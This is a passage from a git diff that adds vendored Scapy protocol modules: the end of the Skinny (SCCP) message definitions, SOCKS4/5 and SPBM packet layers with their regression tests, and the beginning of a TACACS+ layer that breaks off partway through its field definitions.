"SkinnyMessageForwardStat", + 0x0091: "SkinnyMessageSpeedDialStat", + 0x0092: "SkinnyMessageLineStat", + 0x0093: "SkinnyMessageConfigStat", + 0x0094: "SkinnyMessageTimeDate", + 0x0095: "SkinnyMessageStartSessionTransmission", + 0x0096: "SkinnyMessageStopSessionTransmission", + 0x0097: "SkinnyMessageButtonTemplate", + 0x0098: "SkinnyMessageVersion", + 0x0099: "SkinnyMessageDisplayText", + 0x009A: "SkinnyMessageClearDisplay", + 0x009B: "SkinnyMessageCapabilitiesReq", + 0x009C: "SkinnyMessageEnunciatorCommand", + 0x009D: "SkinnyMessageRegisterReject", + 0x009E: "SkinnyMessageServerRes", + 0x009F: "SkinnyMessageReset", + 0x0100: "SkinnyMessageKeepAliveAck", + 0x0101: "SkinnyMessageStartMulticastMediaReception", + 0x0102: "SkinnyMessageStartMulticastMediaTransmission", + 0x0103: "SkinnyMessageStopMulticastMediaReception", + 0x0104: "SkinnyMessageStopMulticastMediaTransmission", + 0x0105: "SkinnyMessageOpenReceiveChannel", + 0x0106: "SkinnyMessageCloseReceiveChannel", + 0x0107: "SkinnyMessageConnectionStatisticsReq", + 0x0108: "SkinnyMessageSoftKeyTemplateRes", + 0x0109: "SkinnyMessageSoftKeySetRes", + 0x0110: "SkinnyMessageStationSelectSoftKeysMessage", + 0x0111: "SkinnyMessageCallState", + 0x0112: "SkinnyMessagePromptStatus", + 0x0113: "SkinnyMessageClearPromptStatus", + 0x0114: "SkinnyMessageDisplayNotify", + 0x0115: "SkinnyMessageClearNotify", + 0x0116: "SkinnyMessageCallPlane", + 0x0117: "SkinnyMessageCallPlane", + 0x0118: "SkinnyMessageUnregisterAck", + 0x0119: "SkinnyMessageBackSpaceReq", + 0x011A: "SkinnyMessageRegisterTokenAck", + 0x011B: "SkinnyMessageRegisterTokenReject", + 0x0042: "SkinnyMessageDeviceToUserDataResponseVersion1", + 0x011C: "SkinnyMessageStartMediaFailureDetection", + 0x011D: "SkinnyMessageDialedNumber", + 0x011E: "SkinnyMessageUserToDeviceData", + 0x011F: "SkinnyMessageFeatureStat", + 0x0120: "SkinnyMessageDisplayPriNotify", + 0x0121: "SkinnyMessageClearPriNotify", + 0x0122: "SkinnyMessageStartAnnouncement", + 0x0123: "SkinnyMessageStopAnnouncement", + 0x0124: "SkinnyMessageAnnouncementFinish", + 0x0127: "SkinnyMessageNotifyDtmfTone", + 0x0128: "SkinnyMessageSendDtmfTone", + 0x0129: "SkinnyMessageSubscribeDtmfPayloadReq", + 0x012A: "SkinnyMessageSubscribeDtmfPayloadRes", + 0x012B: "SkinnyMessageSubscribeDtmfPayloadErr", + 0x012C: "SkinnyMessageUnSubscribeDtmfPayloadReq", + 0x012D: "SkinnyMessageUnSubscribeDtmfPayloadRes", + 0x012E: "SkinnyMessageUnSubscribeDtmfPayloadErr", + 0x012F: "SkinnyMessageServiceURLStat", + 0x0130: "SkinnyMessageCallSelectStat", + 0x0131: "SkinnyMessageOpenMultiMediaChannel", + 0x0132: "SkinnyMessageStartMultiMediaTransmission", + 0x0133: "SkinnyMessageStopMultiMediaTransmission", + 0x0134: "SkinnyMessageMiscellaneousCommand", + 0x0135: "SkinnyMessageFlowControlCommand", + 0x0136: "SkinnyMessageCloseMultiMediaReceiveChannel", + 0x0137: "SkinnyMessageCreateConferenceReq", + 0x0138: "SkinnyMessageDeleteConferenceReq", + 0x0139: "SkinnyMessageModifyConferenceReq", + 0x013A: "SkinnyMessageAddParticipantReq", + 0x013B: "SkinnyMessageDropParticipantReq", + 0x013C: "SkinnyMessageAuditConferenceReq", + 0x013D: "SkinnyMessageAuditParticipantReq", + 0x013F: "SkinnyMessageUserToDeviceDataVersion1", +} + +skinny_callstates = { + 0x1: "Off Hook", + 0x2: "On Hook", + 0x3: "Ring out", + 0xc: "Proceeding", +} + + +skinny_ring_type = { + 0x1: "Ring off" +} + +skinny_speaker_modes = { + 0x1: "Speaker on", + 0x2: "Speaker off" +} + +skinny_lamp_mode = { + 0x1: "Off (?)", + 0x2: "On", +} + +skinny_stimulus = { + 0x9: "Line" +} + + +############ +# Fields # +############ + +class SkinnyDateTimeField(StrFixedLenField): + def __init__(self, name, default): + StrFixedLenField.__init__(self, name, default, 32) + + def m2i(self, pkt, s): + year, month, dow, day, hour, min, sec, millisecond = struct.unpack('<8I', s) # noqa: E501 + return (year, month, day, hour, min, sec) + + def i2m(self, pkt, val): + if isinstance(val, str): + val = self.h2i(pkt, val) + tmp_lst = val[:2] + (0,) + val[2:7] + (0,) + return struct.pack('<8I', *tmp_lst) + + def i2h(self, pkt, x): + if isinstance(x, str): + return x + else: + return time.ctime(time.mktime(x + (0, 0, 0))) + + def i2repr(self, pkt, x): + return self.i2h(pkt, x) + + def h2i(self, pkt, s): + t = () + if isinstance(s, str): + t = time.strptime(s) + t = t[:2] + t[2:-3] + else: + if not s: + y, m, d, h, min, sec, rest, rest, rest = time.gmtime(time.time()) # noqa: E501 + t = (y, m, d, h, min, sec) + else: + t = s + return t + + +########################### +# Packet abstract class # +########################### + +class SkinnyMessageGeneric(Packet): + name = 'Generic message' + + +class SkinnyMessageKeepAlive(Packet): + name = 'keep alive' + + +class SkinnyMessageKeepAliveAck(Packet): + name = 'keep alive ack' + + +class SkinnyMessageOffHook(Packet): + name = 'Off Hook' + fields_desc = [LEIntField("unknown1", 0), + LEIntField("unknown2", 0), ] + + +class SkinnyMessageOnHook(SkinnyMessageOffHook): + name = 'On Hook' + + +class SkinnyMessageCallState(Packet): + name = 'Skinny Call state message' + fields_desc = [LEIntEnumField("state", 1, skinny_callstates), + LEIntField("instance", 1), + LEIntField("callid", 0), + LEIntField("unknown1", 4), + LEIntField("unknown2", 0), + LEIntField("unknown3", 0)] + + +class SkinnyMessageSoftKeyEvent(Packet): + name = 'Soft Key Event' + fields_desc = [LEIntField("key", 0), + LEIntField("instance", 1), + LEIntField("callid", 0)] + + +class SkinnyMessageSetRinger(Packet): + name = 'Ring message' + fields_desc = [LEIntEnumField("ring", 0x1, skinny_ring_type), + LEIntField("unknown1", 0), + LEIntField("unknown2", 0), + LEIntField("unknown3", 0)] + + +_skinny_tones = { + 0x21: 'Inside dial tone', + 0x22: 'xxx', + 0x23: 'xxx', + 0x24: 'Alerting tone', + 0x25: 'Reorder Tone' +} + + +class SkinnyMessageStartTone(Packet): + name = 'Start tone' + fields_desc = [LEIntEnumField("tone", 0x21, _skinny_tones), + LEIntField("unknown1", 0), + LEIntField("instance", 1), + LEIntField("callid", 0)] + + +class SkinnyMessageStopTone(SkinnyMessageGeneric): + name = 'stop tone' + fields_desc = [LEIntField("instance", 1), + LEIntField("callid", 0)] + + +class SkinnyMessageSpeakerMode(Packet): + name = 'Speaker mdoe' + fields_desc = [LEIntEnumField("ring", 0x1, skinny_speaker_modes)] + + +class SkinnyMessageSetLamp(Packet): + name = 'Lamp message (light of the phone)' + fields_desc = [LEIntEnumField("stimulus", 0x5, skinny_stimulus), + LEIntField("instance", 1), + LEIntEnumField("mode", 2, skinny_lamp_mode)] + + +class SkinnyMessageStationSelectSoftKeysMessage(Packet): + name = 'Station Select Soft Keys Message' + fields_desc = [LEIntField("instance", 1), + LEIntField("callid", 0), + LEIntField("set", 0), + LEIntField("map", 0xffff)] + + +class SkinnyMessagePromptStatus(Packet): + name = 'Prompt status' + fields_desc = [LEIntField("timeout", 0), + StrFixedLenField("text", b"\0" * 32, 32), + LEIntField("instance", 1), + LEIntField("callid", 0)] + + +class SkinnyMessageCallPlane(Packet): + name = 'Activate/Deactivate Call Plane Message' + fields_desc = [LEIntField("instance", 1)] + + +class SkinnyMessageTimeDate(Packet): + name = 'Setting date and time' + fields_desc = [SkinnyDateTimeField("settime", None), + LEIntField("timestamp", 0)] + + +class SkinnyMessageClearPromptStatus(Packet): + name = 'clear prompt status' + fields_desc = [LEIntField("instance", 1), + LEIntField("callid", 0)] + + +class SkinnyMessageKeypadButton(Packet): + name = 'keypad button' + fields_desc = [LEIntField("key", 0), + LEIntField("instance", 1), + LEIntField("callid", 0)] + + +class SkinnyMessageDialedNumber(Packet): + name = 'dialed number' + fields_desc = [StrFixedLenField("number", "1337", 24), + LEIntField("instance", 1), + LEIntField("callid", 0)] + + +_skinny_message_callinfo_restrictions = ['CallerName', 'CallerNumber', 'CalledName', 'CalledNumber', 'OriginalCalledName', 'OriginalCalledNumber', 'LastRedirectName', 'LastRedirectNumber'] + ['Bit%d' % i for i in range(8, 15)] # noqa: E501 + + +class SkinnyMessageCallInfo(Packet): + name = 'call information' + fields_desc = [StrFixedLenField("callername", "Jean Valjean", 40), + StrFixedLenField("callernum", "1337", 24), + StrFixedLenField("calledname", "Causette", 40), + StrFixedLenField("callednum", "1034", 24), + LEIntField("lineinstance", 1), + LEIntField("callid", 0), + StrFixedLenField("originalcalledname", "Causette", 40), + StrFixedLenField("originalcallednum", "1034", 24), + StrFixedLenField("lastredirectingname", "Causette", 40), + StrFixedLenField("lastredirectingnum", "1034", 24), + LEIntField("originalredirectreason", 0), + LEIntField("lastredirectreason", 0), + StrFixedLenField('voicemailboxG', b'\0' * 24, 24), + StrFixedLenField('voicemailboxD', b'\0' * 24, 24), + StrFixedLenField('originalvoicemailboxD', b'\0' * 24, 24), + StrFixedLenField('lastvoicemailboxD', b'\0' * 24, 24), + LEIntField('security', 0), + FlagsField('restriction', 0, 16, _skinny_message_callinfo_restrictions), # noqa: E501 + LEIntField('unknown', 0)] + + +class SkinnyRateField(LEIntField): + def i2repr(self, pkt, x): + if x is None: + x = 0 + return '%d ms/pkt' % x + + +_skinny_codecs = { + 0x0: 'xxx', + 0x1: 'xxx', + 0x2: 'xxx', + 0x3: 'xxx', + 0x4: 'G711 ulaw 64k' +} + +_skinny_echo = { + 0x0: 'echo cancellation off', + 0x1: 'echo cancellation on' +} + + +class SkinnyMessageOpenReceiveChannel(Packet): + name = 'open receive channel' + fields_desc = [LEIntField('conference', 0), + LEIntField('passthru', 0), + SkinnyRateField('rate', 20), + LEIntEnumField('codec', 4, _skinny_codecs), + LEIntEnumField('echo', 0, _skinny_echo), + LEIntField('unknown1', 0), + LEIntField('callid', 0)] + + def guess_payload_class(self, p): + return conf.padding_layer + + +_skinny_receive_channel_status = { + 0x0: 'ok', + 0x1: 'ko' +} + + +class SkinnyMessageOpenReceiveChannelAck(Packet): + name = 'open receive channel' + fields_desc = [LEIntEnumField('status', 0, _skinny_receive_channel_status), + IPField('remote', '0.0.0.0'), + LEIntField('port', RandShort()), + LEIntField('passthru', 0), + LEIntField('callid', 0)] + + +_skinny_silence = { + 0x0: 'silence suppression off', + 0x1: 'silence suppression on', +} + + +class SkinnyFramePerPacketField(LEIntField): + def i2repr(self, pkt, x): + if x is None: + x = 0 + return '%d frames/pkt' % x + + +class SkinnyMessageStartMediaTransmission(Packet): + name = 'start multimedia transmission' + fields_desc = [LEIntField('conference', 0), + LEIntField('passthru', 0), + IPField('remote', '0.0.0.0'), + LEIntField('port', RandShort()), + SkinnyRateField('rate', 20), + LEIntEnumField('codec', 4, _skinny_codecs), + LEIntField('precedence', 200), + LEIntEnumField('silence', 0, _skinny_silence), + SkinnyFramePerPacketField('maxframes', 0), + LEIntField('unknown1', 0), + LEIntField('callid', 0)] + + def guess_payload_class(self, p): + return conf.padding_layer + + +class SkinnyMessageCloseReceiveChannel(Packet): + name = 'close receive channel' + fields_desc = [LEIntField('conference', 0), + LEIntField('passthru', 0), + IPField('remote', '0.0.0.0'), + LEIntField('port', RandShort()), + SkinnyRateField('rate', 20), + LEIntEnumField('codec', 4, _skinny_codecs), + LEIntField('precedence', 200), + LEIntEnumField('silence', 0, _skinny_silence), + LEIntField('callid', 0)] + + +class SkinnyMessageStopMultiMediaTransmission(Packet): + name = 'stop multimedia transmission' + fields_desc = [LEIntField('conference', 0), + LEIntField('passthru', 0), + LEIntField('callid', 0)] + + +class Skinny(Packet): + name = "Skinny" + fields_desc = [LEIntField("len", None), + LEIntField("res", 0), + LEIntEnumField("msg", 0, skinny_messages_cls)] + + def post_build(self, pkt, p): + if self.len is None: + # on compte pas les headers len et reserved + tmp_len = len(p) + len(pkt) - 8 + pkt = struct.pack('@I', tmp_len) + pkt[4:] + return pkt + p + +# An helper + + +def get_cls(name, fallback_cls): + return globals().get(name, fallback_cls) + # return __builtin__.__dict__.get(name, fallback_cls) + + +for msgid, strcls in skinny_messages_cls.items(): + cls = get_cls(strcls, SkinnyMessageGeneric) + bind_layers(Skinny, cls, {"msg": msgid}) + +bind_layers(TCP, Skinny, {"dport": 2000}) +bind_layers(TCP, Skinny, {"sport": 2000}) + +if __name__ == "__main__": + from scapy.main import interact + interact(mydict=globals(), mybanner="Welcome to Skinny add-on") diff --git a/libs/scapy/contrib/socks.py b/libs/scapy/contrib/socks.py new file mode 100755 index 0000000..8ede9fe --- /dev/null +++ b/libs/scapy/contrib/socks.py @@ -0,0 +1,182 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +# scapy.contrib.description = Socket Secure (SOCKS) +# scapy.contrib.status = loads + +"""SOCKS4/5 Protocol + +You can change the server ports that are used in the SOCKS layer by editing. +conf.contribs['socks']['serverports'] +""" + +from scapy.config import conf +from scapy.error import warning +from scapy.layers.dns import DNSStrField +from scapy.layers.inet import TCP, UDP +from scapy.layers.inet6 import IP6Field +from scapy.fields import ByteField, ByteEnumField, ShortField, IPField, \ + StrField, MultipleTypeField +from scapy.packet import Packet, bind_layers, bind_bottom_up + +# TODO: support the 3 different authentication exchange procedures for SOCKS5 # noqa: E501 +# 1 - Plain (https://tools.ietf.org/html/rfc1928 - 3.Procedure for TCP-based clients) # noqa: E501 +# 2 - Username/password (https://tools.ietf.org/html/rfc1929) +# 3 - GSS-API (https://tools.ietf.org/html/rfc1961) + +conf.contribs.setdefault('socks', {}) +conf.contribs['socks'].setdefault('serverports', [1080]) + + +class SOCKS(Packet): + fields_desc = [ + ByteEnumField("vn", 0x5, + {0x4: "v4 - Request", 0x0: "v4 - Reply", 0x5: "v5"}), + ] + + def guess_payload_class(self, pkt): + d_port = s_port = True + if self.underlayer and isinstance(self.underlayer, TCP): + ports = conf.contribs['socks']['serverports'] + d_port = self.underlayer.dport in ports + s_port = self.underlayer.sport in ports + if self.vn == 0x5: + if d_port: + return SOCKS5Request + elif s_port: + return SOCKS5Reply + elif self.vn == 0x4: + if d_port: + return SOCKS4Request + elif self.vn == 0x0: + if s_port: + return SOCKS4Reply + warning("No TCP underlayer, or dport/sport not in " + "conf.contribs['socks']['serverports']. " + "Assuming a SOCKS v5 request layer") + return SOCKS5Request + + def add_payload(self, payload): + if self.underlayer and isinstance(self.underlayer, TCP): + if isinstance(payload, (SOCKS5Request, SOCKS4Request)): + self.underlayer.dport = 1080 + self.underlayer.sport = 1081 + elif isinstance(payload, (SOCKS5Reply, SOCKS4Reply)): + self.underlayer.sport = 1080 + self.underlayer.dport = 1081 + Packet.add_payload(self, payload) + + +bind_bottom_up(TCP, SOCKS, sport=1080) +bind_bottom_up(TCP, SOCKS, dport=1080) + +# SOCKS v4 + +_socks4_cd_request = { + 1: "Connect", + 2: "Bind" +} + + +class SOCKS4Request(Packet): + name = "SOCKS 4 - Request" + overload_fields = {SOCKS: {"vn": 0x4}} + fields_desc = [ + ByteEnumField("cd", 1, _socks4_cd_request), + ShortField("dstport", 80), + IPField("dst", "0.0.0.0"), + StrField("userid", ""), + ByteField("null", 0), + ] + + +_socks4_cd_reply = { + 90: "Request granted", + 91: "Request rejected", + 92: "Request rejected - SOCKS server cannot connect to identd", + 93: "Request rejected - user-ids mismatch" +} + + +class SOCKS4Reply(Packet): + name = "SOCKS 4 - Reply" + overload_fields = {SOCKS: {"vn": 0x0}} + fields_desc = [ + ByteEnumField("cd", 90, _socks4_cd_reply), + ] + SOCKS4Request.fields_desc[1:-2] # Re-use dstport, dst and userid + +# SOCKS v5 - TCP + + +_socks5_cdtypes = { + 1: "Connect", + 2: "Bind", + 3: "UDP associate", +} + + +class SOCKS5Request(Packet): + name = "SOCKS 5 - Request" + overload_fields = {SOCKS: {"vn": 0x5}} + fields_desc = [ + ByteEnumField("cd", 0x0, _socks5_cdtypes), + ByteField("res", 0), + ByteEnumField("atyp", 0x1, + {0x1: "IPv4", 0x3: "DomainName", 0x4: "IPv6"}), + MultipleTypeField( + [ + # IPv4 + (IPField("addr", "0.0.0.0"), lambda pkt: pkt.atyp == 0x1), + # DNS + (DNSStrField("addr", ""), lambda pkt: pkt.atyp == 0x3), + # IPv6 + (IP6Field("addr", "::"), lambda pkt: pkt.atyp == 0x4), + ], + StrField("addr", "") + ), + ShortField("port", 80), + ] + + +_socks5_rep = { + 0: "succeeded", + 1: "general server failure", + 2: "connection not allowed by ruleset", + 3: "network unreachable", + 4: "host unreachable", + 5: "connection refused", + 6: "TTL expired", + 7: "command not supported", + 8: "address type not supported", +} + + +class SOCKS5Reply(Packet): + name = "SOCKS 5 - Reply" + overload_fields = {SOCKS: {"vn": 0x5}} + # All fields are the same except the first one + fields_desc = [ + ByteEnumField("rep", 0x0, _socks5_rep), + ] + SOCKS5Request.fields_desc[1:] + + +# SOCKS v5 - UDP + +class SOCKS5UDP(Packet): + name = "SOCKS 5 - UDP Header" + fields_desc = [ + ShortField("res", 0), + ByteField("frag", 0), + ] + SOCKS5Request.fields_desc[2:] # Re-use the atyp, addr and port fields + + def guess_payload_class(self, s): + if self.port == 0: + return conf.raw_layer + return UDP(sport=self.port, dport=self.port).guess_payload_class(None) + + +bind_bottom_up(UDP, SOCKS5UDP, sport=1080) +bind_bottom_up(UDP, SOCKS5UDP, sport=1080) +bind_layers(UDP, SOCKS5UDP, sport=1080, dport=1080) diff --git a/libs/scapy/contrib/socks.uts b/libs/scapy/contrib/socks.uts new file mode 100755 index 0000000..8c88f99 --- /dev/null +++ b/libs/scapy/contrib/socks.uts @@ -0,0 +1,39 @@ ++ SOCKS 4/5 tests + += Basic build and dissection - test version dispatch + +p1 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS5Request())) +p2 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS5Reply())) +p3 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS4Request())) +p4 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS4Reply())) + +assert p1[TCP].dport == 1080 +assert p1[SOCKS].vn == 0x5 +assert SOCKS5Request in p1 + +assert p2[TCP].sport == 1080 +assert p2[SOCKS].vn == 0x5 +assert SOCKS5Reply in p2 + +assert p3[TCP].dport == 1080 +assert p3[SOCKS].vn == 0x4 +assert SOCKS4Request in p3 + +assert p4[TCP].sport == 1080 +assert p4[SOCKS].vn == 0x0 +assert SOCKS4Reply in p4 + += SOCKS5Request build and dissection + +pkt = IP(dst="127.0.0.1", src="127.0.0.1")/TCP(sport=123)/SOCKS()/SOCKS5Request(atyp=0x3, addr="scapy.net") +assert raw(pkt) == b'E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x049\x048\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xf2*\x00\x00\x05\x00\x00\x03\x05scapy\x03net\x00\x00P' +pkt = IP(raw(pkt)) + +assert SOCKS5Request in pkt +assert pkt[SOCKS5Request].addr == b'scapy.net.' + += Test SOCKSv5 over UDP + +pkt = Ether()/IP()/UDP()/SOCKS5UDP(port=53)/DNS() +pkt = Ether(raw(pkt)) +assert DNS in pkt diff --git a/libs/scapy/contrib/spbm.py b/libs/scapy/contrib/spbm.py new file mode 100755 index 0000000..e4d4696 --- /dev/null +++ b/libs/scapy/contrib/spbm.py @@ -0,0 +1,60 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# IEEE 802.1aq - Shorest Path Bridging Mac-in-mac (SPBM): +# Ethernet based link state protocol that enables Layer 2 Unicast, Layer 2 Multicast, Layer 3 Unicast, and Layer 3 Multicast virtualized services # noqa: E501 +# https://en.wikipedia.org/wiki/IEEE_802.1aq +# Modeled after the scapy VXLAN contribution + +# scapy.contrib.description = Shorest Path Bridging Mac-in-mac (SBPM) +# scapy.contrib.status = loads + +""" + Example SPB Frame Creation + + Note the outer Dot1Q Ethertype marking (0x88e7) + + backboneEther = Ether(dst='00:bb:00:00:90:00', src='00:bb:00:00:40:00', type=0x8100) # noqa: E501 + backboneDot1Q = Dot1Q(vlan=4051,type=0x88e7) + backboneServiceID = SPBM(prio=1,isid=20011) + customerEther = Ether(dst='00:1b:4f:5e:ca:00',src='00:00:00:00:00:01',type=0x8100) # noqa: E501 + customerDot1Q = Dot1Q(prio=1,vlan=11,type=0x0800) + customerIP = IP(src='10.100.11.10',dst='10.100.12.10',id=0x0629,len=106) # noqa: E501 + customerUDP = UDP(sport=1024,dport=1025,chksum=0,len=86) + + spb_example = backboneEther/backboneDot1Q/backboneServiceID/customerEther/customerDot1Q/customerIP/customerUDP/"Payload" # noqa: E501 +""" + +from scapy.packet import Packet, bind_layers +from scapy.fields import BitField, ThreeBytesField +from scapy.layers.l2 import Ether, Dot1Q, Dot1AD + + +class SPBM(Packet): + name = "SPBM" + fields_desc = [BitField("prio", 0, 3), + BitField("dei", 0, 1), + BitField("nca", 0, 1), + BitField("res1", 0, 1), + BitField("res2", 0, 2), + ThreeBytesField("isid", 0)] + + def mysummary(self): + return self.sprintf("SPBM (isid=%SPBM.isid%") + + +bind_layers(Ether, SPBM, type=0x88e7) +bind_layers(Dot1Q, SPBM, type=0x88e7) +bind_layers(Dot1AD, SPBM, type=0x88e7) +bind_layers(SPBM, Ether) diff --git a/libs/scapy/contrib/spbm.uts b/libs/scapy/contrib/spbm.uts new file mode 100755 index 0000000..fb135e5 --- /dev/null +++ b/libs/scapy/contrib/spbm.uts @@ -0,0 +1,18 @@ +% Regression tests for the spbm module + ++ Basic SPBM test + += Test build and dissection + +backboneEther = Ether(dst='00:bb:00:00:90:00', src='00:bb:00:00:40:00', type=0x8100) +backboneDot1Q = Dot1Q(vlan=4051,type=0x88e7) +backboneServiceID = SPBM(prio=1,isid=20011) +customerEther = Ether(dst='00:1b:4f:5e:ca:00',src='00:00:00:00:00:01',type=0x8100) +customerDot1Q = Dot1Q(prio=1,vlan=11,type=0x0800) +customerIP = IP(src='10.100.11.10',dst='10.100.12.10',id=0x0629,len=106) +customerUDP = UDP(sport=1024,dport=1025,chksum=0,len=86) + +pkt = backboneEther/backboneDot1Q/backboneServiceID/customerEther/customerDot1Q/customerIP/customerUDP/"Payload" +pkt = Ether(raw(pkt)) +assert SPBM in pkt +assert pkt[SPBM].payload.payload.payload.src == '10.100.11.10' diff --git a/libs/scapy/contrib/tacacs.py b/libs/scapy/contrib/tacacs.py new file mode 100755 index 0000000..552ba43 --- /dev/null +++ b/libs/scapy/contrib/tacacs.py @@ -0,0 +1,453 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# Copyright (C) 2017 Francois Contat + +# Based on tacacs+ v6 draft https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06 # noqa: E501 + +# scapy.contrib.description = Terminal Access Controller Access-Control System+ +# scapy.contrib.status = loads + +import struct +import hashlib + +from scapy.packet import Packet, bind_layers +from scapy.fields import ByteEnumField, ByteField, IntField +from scapy.fields import FieldListField +from scapy.fields import FieldLenField, ConditionalField, StrLenField +from scapy.layers.inet import TCP +from scapy.compat import chb, orb +from scapy.config import conf +from scapy.modules.six.moves import range + +SECRET = 'test' + + +def obfuscate(pay, secret, session_id, version, seq): + ''' + + Obfuscation methodology from section 3.7 + https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.7 + + ''' + + pad = b"" + curr_pad = b"" + + # pad length must equal the payload to obfuscate. + # pad = {MD5_1 [,MD5_2 [ ... ,MD5_n]]} + + while len(pad) < len(pay): + + msg = hashlib.md5() + msg.update(struct.pack('!I', session_id)) + msg.update(secret.encode()) + msg.update(struct.pack('!BB', version, seq)) + msg.update(curr_pad) + curr_pad = msg.digest() + pad += curr_pad + + # Obf/Unobfuscation via XOR operation between plaintext and pad + + return b"".join(chb(orb(pad[i]) ^ orb(pay[i])) for i in range(len(pay))) + + +TACACSPRIVLEVEL = {15: 'Root', + 1: 'User', + 0: 'Minimum'} + +########################## +# Authentication Packets # +########################## + +TACACSVERSION = {1: 'Tacacs', + 192: 'Tacacs+'} + +TACACSTYPE = {1: 'Authentication', + 2: 'Authorization', + 3: 'Accounting'} + +TACACSFLAGS = {1: 'Unencrypted', + 4: 'Single Connection'} + +TACACSAUTHENACTION = {1: 'Login', + 2: 'Change Pass', + 4: 'Send Authentication'} + +TACACSAUTHENTYPE = {1: 'ASCII', + 2: 'PAP', + 3: 'CHAP', + 4: 'ARAP', # Deprecated + 5: 'MSCHAP', + 6: 'MSCHAPv2'} + +TACACSAUTHENSERVICE = {0: 'None', + 1: 'Login', + 2: 'Enable', + 3: 'PPP', + 4: 'ARAP', + 5: 'PT', + 6: 'RCMD', + 7: 'X25', + 8: 'NASI', + 9: 'FwProxy'} + +TACACSREPLYPASS = {1: 'PASS', + 2: 'FAIL', + 3: 'GETDATA', + 4: 'GETUSER', + 5: 'GETPASS', + 6: 'RESTART', + 7: 'ERROR', + 21: 'FOLLOW'} + +TACACSREPLYFLAGS = {1: 'NOECHO'} + +TACACSCONTINUEFLAGS = {1: 'ABORT'} + + +class TacacsAuthenticationStart(Packet): + + ''' + + Tacacs authentication start body from section 4.1 + https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.1 + + ''' + + name = 'Tacacs Authentication Start Body' + fields_desc = [ByteEnumField('action', 1, TACACSAUTHENACTION), + ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL), + ByteEnumField('authen_type', 1, TACACSAUTHENTYPE), + ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE), + FieldLenField('user_len', None, fmt='!B', length_of='user'), + FieldLenField('port_len', None, fmt='!B', length_of='port'), + FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'), # noqa: E501 + FieldLenField('data_len', None, fmt='!B', length_of='data'), + ConditionalField(StrLenField('user', '', length_from=lambda x: x.user_len), # noqa: E501 + lambda x: x != ''), + StrLenField('port', '', length_from=lambda x: x.port_len), + StrLenField('rem_addr', '', length_from=lambda x: x.rem_addr_len), # noqa: E501 + StrLenField('data', '', length_from=lambda x: x.data_len)] + + +class TacacsAuthenticationReply(Packet): + + ''' + + Tacacs authentication reply body from section 4.2 + https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.2 + + ''' + + name = 'Tacacs Authentication Reply Body' + fields_desc = [ByteEnumField('status', 1, TACACSREPLYPASS), + ByteEnumField('flags', 0, TACACSREPLYFLAGS), + FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'), # noqa: E501 + FieldLenField('data_len', None, fmt='!H', length_of='data'), + StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len), # noqa: E501 + StrLenField('data', '', length_from=lambda x: x.data_len)] + + +class TacacsAuthenticationContinue(Packet): + + ''' + + Tacacs authentication continue body from section 4.3 + https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.3 + + ''' + + name = 'Tacacs Authentication Continue Body' + fields_desc = [FieldLenField('user_msg_len', None, fmt='!H', length_of='user_msg'), # noqa: E501 + FieldLenField('data_len', None, fmt='!H', length_of='data'), + ByteEnumField('flags', 1, TACACSCONTINUEFLAGS), + StrLenField('user_msg', '', length_from=lambda x: x.user_msg_len), # noqa: E501 + StrLenField('data', '', length_from=lambda x: x.data_len)] + +######################### +# Authorization Packets # +######################### + + +TACACSAUTHORTYPE = {0: 'Not Set', + 1: 'None', + 2: 'Kerberos 5', + 3: 'Line', + 4: 'Enable', + 5: 'Local', + 6: 'Tacacs+', + 8: 'Guest', + 16: 'Radius', + 17: 'Kerberos 4', + 32: 'RCMD'} + +TACACSAUTHORSTATUS = {1: 'Pass Add', + 2: 'Pass repl', + 16: 'Fail', + 17: 'Error', + 33: 'Follow'} + + +class TacacsAuthorizationRequest(Packet): + + ''' + + Tacacs authorization request body from section 5.1 + https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-5.1 + + ''' + + name = 'Tacacs Authorization Request Body' + fields_desc = [ByteEnumField('authen_method', 0, TACACSAUTHORTYPE), + ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL), + ByteEnumField('authen_type', 1, TACACSAUTHENTYPE), + ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE), + FieldLenField('user_len', None, fmt='!B', length_of='user'), + FieldLenField('port_len', None, fmt='!B', length_of='port'), + FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'), # noqa: E501 + FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'), # noqa: E501 + FieldListField('arg_len_list', [], ByteField('', 0), + length_from=lambda pkt: pkt.arg_cnt), + StrLenField('user', '', length_from=lambda x: x.user_len), + StrLenField('port', '', length_from=lambda x: x.port_len), + StrLenField('rem_addr', 